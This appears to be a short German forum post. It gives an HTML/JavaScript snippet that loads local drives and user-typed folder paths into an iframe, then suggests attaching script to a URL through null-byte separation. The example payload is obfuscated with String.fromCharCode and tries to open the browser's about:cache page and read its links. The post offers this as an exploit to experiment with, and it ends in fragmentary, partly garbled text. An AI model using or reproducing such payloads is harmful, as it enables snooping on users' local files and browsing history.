Mit folgendem script sollte man die Url eines Iframes ändern können.
<HEAD>
<SCRIPT LANGUAGE="JavaScript">
function Drives()
{
var folder=document.Drive.Name.options[document.Drive.Name.selectedIndex].value;
document.frames['MyComputer'].location.href = folder;
}
function FolderChoose()
{
var location=document.UserLocation.FolderLocation.value;
document.frames['MyComputer'].location.href = location;
}
</script>
</HEAD>
<BODY>
<FORM NAME="Drive">
<P><font size="2">Choose a Drive: </font>
<SELECT NAME="Name" onChange="Drives();">
<OPTION VALUE="A:\">A:\ Drive</OPTION>
<OPTION VALUE="C:\">C:\ Drive</OPTION>
<OPTION VALUE="D:\">D:\ Drive</OPTION>
<OPTION VALUE="E:\">E:\ Drive</OPTION>
</SELECT>
</FORM>
or
<FORM NAME="UserLocation">
<P><font size="2">Type in a Folder Location: </font>
<INPUT TYPE="text" name="FolderLocation" length="25" size="20">
<INPUT TYPE="button" value="Open Folder" onClick="FolderChoose();"></P>
<P><font size="2">EXAMPLE: C:\Program Files\Internet Explorer</font></P>
</FORM>
<IFRAME NAME="MyComputer" SRC="about:blank" WIDTH="50%" HEIGHT="20%"></IFRAME>
Probier mal einer URL ein Javascript anzuhängen. Muss mit Nullbyte-Symbol getrennt werden. Einfach mal rumprobieren.
Also etwa
http://www.url.de <--RIPT> x=String.fromCharCode(97,61,119,105,110,100,111,119,46,111,112,101,110,40,39,119,121,115,105,119,121,103,58,47,47,49,47,97,98,111,117,116,58,99,97,99,104,101,39,41,59,97,108,101,114,116,40,97,46,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,48,93,41,59) <--RIPT>
oderauch
%01
boaaa